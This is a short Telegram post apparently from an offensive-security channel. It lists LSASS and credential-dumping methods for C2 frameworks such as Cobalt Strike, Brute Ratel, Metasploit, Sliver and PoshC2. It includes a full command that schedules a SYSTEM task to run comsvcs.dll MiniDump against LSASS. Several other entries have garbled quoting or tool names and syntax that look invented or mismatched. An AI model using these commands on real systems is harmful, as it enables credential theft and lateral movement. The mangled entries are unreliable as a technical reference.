P.F.K Security on Telegram: “#0x16 > Cobalt Strike+Sysinternals Methods: load…”

#0x16 > Cobalt Strike+Sysinternals
Methods: load sysinternals Procexp “File” -> “Save”

Cobalt Strike+schtasks Methods:

cmd /c cmd /c Schtasks.exe /create /RU SYSTEM /SC Weekly /D SAT /TN Commands /TR "'’rundll32.exe’’ C:\windows\system32\comsvcs.dll MiniDump “+strPID+” C:\Windows\Tasks\dump.bin full" /ST 06:06:06 && Schtasks.exe /run /TN Commands && REM ‘ -Force;”

#0x17 >Brute Ratel C4+Kiwi

Methods: load kiwi Lsa_dump_sam lsa_dump_secrets

#0x18 > Metasploit+lsassy
Methods: use post/windows/gather/credentials/lsassy set SESSION Run or exploit

#0x19 > Covenant+SharpKatz
Methods: Create Task->Module->SharpKatz Arguments->lsa_dump

#0x20 >Empire+wmiexec
Methods: Modules credentials/mimikatz/lsass_dump Execute or run sekurlsa::minidump

#0x21> Sliver+lsass_dump
Methods: use lsass_dump Options run

#0x22 > Villain
Methods: villain.exe agent villain.exe client -c villain.exe dump lsass

#0x23 > Octopus
Methods: pupy.exe shell –cmd “python -m pupy.modules.pupywinutils.lsassdump -o C:\temp\lsass.dmp”

#0x24 > NimPlant
Methods: lsassdump

#0x25 > PoshC2+MiniDumpWriteDump
Methods: MiniDumpWriteDump Get-LsassDumpProcDump

#0x26 > PoshC2+NtQueryVirtualMemory
Methods: NtQueryVirtualMemory Get-LsassDumpNtQueryVirtualMemory

#0x27 > PoshC2+BloodHound
Methods: Get-LsassDumpBloodHound

#Lass
@PfkSecurity